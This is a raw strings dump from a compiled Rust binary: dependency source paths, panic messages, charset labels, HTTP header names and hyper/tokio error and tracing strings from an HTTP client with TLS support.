/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs@
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs
|
||||
internal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/iso_2022_jp.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/utf_8.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs
|
||||
EUC-JPEUC-KRGBKIBM866ISO-2022-JPISO-8859-10ISO-8859-13ISO-8859-14ISO-8859-15ISO-8859-16ISO-8859-2ISO-8859-3ISO-8859-4ISO-8859-5ISO-8859-6ISO-8859-7ISO-8859-8ISO-8859-8-IKOI8-RKOI8-UShift_JISUTF-8gb18030macintoshreplacementwindows-1250windows-1251windows-1252windows-1253windows-1254windows-1255windows-1256windows-1257windows-1258windows-874x-mac-cyrillicx-user-definedl1l2l3l4l5l6l9866mackoigbkucs-2ms932cp866utf-8cp819asciix-gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf-16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc-jpkoi8-rkoi8_reuc-krx-sjiskoi8-uhebrewtis-620ksc5601gb_2312dos-874cn-big5unicodechineselogicalcskoi8rcseuckrkoi8-ruiso885910iso8859-1iso885911iso8859-2iso8859-3iso885913iso8859-4iso885914iso8859-5iso885915iso8859-6iso8859-7iso8859-8iso-ir-58iso8859-9csunicodeshift-jisshift_jisiso-ir-100iso8859-10iso-ir-110gb_2312-80iso-8859-1iso_8859-1iso-ir-101iso8859-11iso-8859-2iso_8859-2hz-gb-2312iso-8859-3iso_8859-3iso8859-13iso-8859-4iso_8859-4iso8859-14iso-ir-144iso-8859-5iso_8859-5iso8859-15iso-8859-6iso_8859-6iso-ir-126iso-8859-7iso_8859-7iso-ir-127iso-ir-157iso-8859-8iso_8859-8iso-ir-138iso-ir-148iso-8859-9iso_8859-9iso-ir-109iso-ir-149big5-hkscscsshiftjisiso-8859-10iso-8859-11csisolatin1csisolatin2iso-8859-13csisolatin3iso-8859-14csisolatin4iso-8859-15iso_8859-15csisolatin5iso-8859-16csisolatin6windows-949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows-31jx-mac-romaniso-2022-cniso-2022-jpcsiso2022jpiso-2022-krcsiso2022kriso-8859-6-eiso-8859-8-eiso-8859-6-iiso-8859-8-isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601-1987ansi_x3.4-1968ks_c_5601-1989csiso58gb231280iso-10646-ucs-2iso_8859-1:1987iso_8859-2:1987iso_8859-6:1987iso_8859-7:1987iso_8859-3:1988iso_8859-4:1988iso_8859-5:1988iso_8859-8:1988x-unicode20utf8iso_8859-9:1989csisolatingreekx-mac-ukrainianiso-2022-cn-extunicode-1-1-utf-8csisolatincyrilliccseucpkdfmtjapanese/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/lib.rscalled `Option::unwrap()` on a `None` valueMust not use a decoder that has finished.
|
||||
UTF-16BEUTF-16LEx-cp1250ksc_5601x-cp1251iso88591csgb2312x-cp1252iso88592x-cp1253iso88593ecma-114x-cp1254iso88594x-cp1255iso88595x-x-big5x-cp1256csibm866iso88596x-cp1257iso88597asmo-708ecma-118elot_928x-cp1258iso88598iso88599cyrillicutf-16beutf-16leus-asciims_kanjix-euc-jpcsisolatinarabiccsisolatinhebrew/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/encoding_rs-0.8.32/src/handles.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/slice.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/certificate.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/certificate.rs
|
||||
Attempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rsinternal error: entered unreachable code/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/native-tls-0.2.11/src/imp/security_framework.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/array.rs
|
||||
Errormessageerror code Attempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/base.rsassertion failed: !error.is_null()/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/trust.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/base.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/identity.rs
|
||||
/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/slice.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/certificate.rsvalue out of range/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/base.rsAttempted to create a NULL object./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/string.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/security-framework-2.8.2/src/policy.rs/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/core-foundation-0.9.3/src/string.rs
|
||||
internal error: entered unreachable code: x-frame-optionsx-dns-prefetch-controlx-content-type-optionswarningviaupgrade-insecure-requestsupgradeuser-agenttransfer-encodingtrailertestrict-transport-securityset-cookieserversec-websocket-versionsec-websocket-protocolsec-websocket-keysec-websocket-extensionssec-websocket-acceptretry-afterrefreshreferrer-policyrefererrangepublic-key-pins-report-onlypublic-key-pinsproxy-authorizationproxy-authenticatepragmaoriginmax-forwardslast-modifiedif-unmodified-sinceif-none-matchif-modified-sinceforwardedexpiresexpectdntcookiecontent-typecontent-security-policy-report-onlycontent-security-policycontent-rangecontent-lengthcontent-dispositionconnectioncache-controlauthorizationalt-svcallowageaccess-control-request-methodaccess-control-request-headersaccess-control-max-ageaccess-control-expose-headersaccess-control-allow-originaccess-control-allow-methodsaccess-control-allow-headersaccess-control-allow-credentialsaccept-rangesaccept-languageaccept-encodingaccept-charsetaccept/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rsPATCHCONNECTTRACEDELETEPUTGETOPTIONScannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsFieldSet corrupted (this is a bug)Response.parse/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rsResponse.parse accepted HTTP/0.9 responseResponse.parse Complete()Internal Hyper error, please report called `Option::unwrap()` on a `None` valueClient::encode method=, body= unexpected request version: request with HTTP2 version coerced to HTTP/1.1Client::decoder is missing the MethodC
|
||||
messagehyper::proto::h1::roleevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1397event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1283event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1261event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1232event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1229event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1223event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1218event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1208event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1191event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1132event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1110event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:1027event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:979event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:955bytesevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/role.rs:946encode_headersparse_headers
|
||||
[internal exception] blocking task ran twice./Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/blocking/task.rs
|
||||
queue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/inject.rsend of file before message length reachedEofChunkedLengthEndEndLfEndCrTrailerLfTrailerBodyLfBodyCrSizeLfExtensionSizeLwsIncompleteBody
|
||||
FieldSet corrupted (this is a bug)resolving host=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/dns.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/dispatch.rschecked out connection was closed
|
||||
CheckoutIsClosedErrormessagehyper::client::pool/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:767event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:758event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:680event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:638event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:612event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:540event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:464event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:458event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:388event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:376event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:372event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:358event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:329event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:326event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:297event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:287event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:250event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/pool.rs:166hyper::client::dispatchevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/dispatch.rs:278hyper::proto::h2::client/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:443event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:436event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:401event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:385event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:366event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:344event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:321event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:286event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:248event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:193event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:165event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/client.rs:153hyper::proto::h1::decode/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:372event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:315event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:298event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:292event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:271event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:255event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:211event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:134event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/decode.rs:106
|
||||
Size/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-channel-0.3.26/src/mpsc/mod.rsbuffer space exhausted; sending this messages would overflow the staterequested buffer size too largecalled `Result::unwrap()` on an `Err` valuecalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/sync/oneshot.rscannot clone `Sender` -- too many outstanding senders
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/upgrade.rs
|
||||
messagehyper::upgradeevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/upgrade.rs:236
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/dns.rs
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rs
|
||||
hyper::client::connevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rs:970event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rs:402event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/conn.rs:334
|
||||
hyper::client::connect::dnsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/dns.rs:122hyper::proto::h1::dispatch/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:638event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:619event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:590event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:572event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:378event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:360event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:353event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:335event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:268event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:242event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:212event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:200event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/dispatch.rs:178/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/alloc/src/vec/mod.rs
|
||||
cannot advance past `remaining`: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rs/rustc/75a0be98f25a4b9de5afa0e15eb016e7f9627032/library/core/src/str/pattern.rskeep-aliveclose
|
||||
chunked, original header value plus ascii is valid/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/headers.rsStatereadingwritingkeep_aliveerror
|
||||
ClosedKeepAliveFieldSet corrupted (this is a bug)remote disabling keep-alive/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rsState::close()State::close_read()State::close_write()messagehyper::proto::h1::connevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:981event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:962event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:956event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:949event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:910event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:794event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:761event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:743event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:739event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:732event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:476event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:472event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:462event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:433event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:420event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:402event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:393event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:390event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:382event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:327event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:319event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:308event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:298event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:281event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:271event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:245event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:222event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/conn.rs:191
|
||||
called `Result::unwrap()` on an `Err` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/map.rsx-frame-optionsx-dns-prefetch-controlx-content-type-optionswarningviaupgrade-insecure-requestsupgradeuser-agenttransfer-encodingtrailertestrict-transport-securityset-cookieserversec-websocket-versionsec-websocket-protocolsec-websocket-keysec-websocket-extensionssec-websocket-acceptretry-afterrefreshreferrer-policyrefererrangepublic-key-pins-report-onlypublic-key-pinsproxy-authorizationproxy-authenticatepragmaoriginmax-forwardslast-modifiedif-unmodified-sinceif-none-matchif-modified-sinceforwardedexpiresexpectdntcookiecontent-typecontent-security-policy-report-onlycontent-security-policycontent-rangecontent-lengthcontent-dispositionconnectioncache-controlauthorizationalt-svcallowageaccess-control-request-methodaccess-control-request-headersaccess-control-max-ageaccess-control-expose-headersaccess-control-allow-originaccess-control-allow-methodsaccess-control-allow-headersaccess-control-allow-credentialsaccept-rangesaccept-languageaccept-encodingaccept-charsetaccept
|
||||
keep-alive/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs
|
||||
invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingHttp::connect; scheme=, host=, port=/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rsConnectError: tcp open errortcp set_nonblocking errortcp set_keepalive error: tcp bind local errortcp set_reuse_address error: tcp set_buffer_size error: tcp set_recv_buffer_size error:
|
||||
messagehyper::client::connect::httpevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:657event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:651event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:645event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:612event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:544event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:540event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:537event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:354event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/http.rs:278event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:236event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:230event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:193event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:160event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:151event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:66event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:62event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:58event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h2/mod.rs:48buf.lenhyper::proto::h1::io/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rsevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:597event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:577event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:348event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:342event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:324event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:320event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:269event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:247event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:227event /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/proto/h1/io.rs:207
|
||||
hyper::proto::h2self.lenqueue not empty/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/scheduler/multi_thread/queue.rs
|
||||
range start must not be greater than end: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/bytes-1.4.0/src/bytes.rsrange end out of bounds:
|
||||
internal error: entered unreachable code: want_rx value: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/body/body.rsjust sent Ok
|
||||
thread result panicked on dropPoisonErrorReady polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/futures-util-0.3.26/src/future/ready.rs
|
||||
h2::Error::is_io/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/error.rshttp2 errorerror shutting down connectionerror writing a body to connectionerror reading a body from connectionerror trying to connectchannel closedoperation was canceledreceived unexpected message from connectionconnection closed before message completeddispatch task is goneupgrade expected but low level API in useno upgrade availableclient requires absolute-form URIsrequest has unsupported HTTP methodrequest has unsupported HTTP versionerror from user's Serviceuser body write abortederror from user's HttpBody streaminternal error inside Hyper and/or its dependencies, please reportinvalid HTTP status-code parsedmessage head is too largeunexpected transfer-encoding parsedinvalid content-length parsedinvalid HTTP header parsedURI too longinvalid URIinvalid HTTP version parsed (found HTTP2 preface)invalid HTTP version parsedinvalid HTTP method parsedhyper::Error: operation timed outHttp2BodyWriteConnectIoChannelClosedUnexpectedMessageIncompleteMessageParseStatusHeaderUriTooLongUriVersionH2VersionMethodTransferEncodingUnexpectedContentLengthInvalidTokenDispatchGoneManualUpgradeNoUpgradeAbsoluteUriRequiredUnsupportedRequestMethodUnsupportedVersionService
|
||||
CanceledTooLargeinternal error: entered unreachable code: /httpscalled `Option::unwrap()` on a `None` value/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/http-0.2.8/src/header/value.rsJoinHandle polled after completion/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.25.0/src/runtime/task/core.rsunexpected stageFieldSet corrupted (this is a bug)content-length bigger than maximum: >
|
||||
/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/body/length.rs
|
||||
bytes)emptyclose-delimitedmessagehyper::body::lengthevent /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/body/length.rs:58gai background task failed: /Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/connect/dns.rsRequest has unsupported version ""/Users/<>/.cargo/registry/src/github.com-1ecc6299db9ec823/hyper-0.14.24/src/client/client.rspath is valid uriHTTP/1.1 CONNECT request stripping path: authority is validauthority_form with relative uriClient requires absolute-form URIs, received: domain is valid Urislash is a valid pathscheme is valid
|
||||
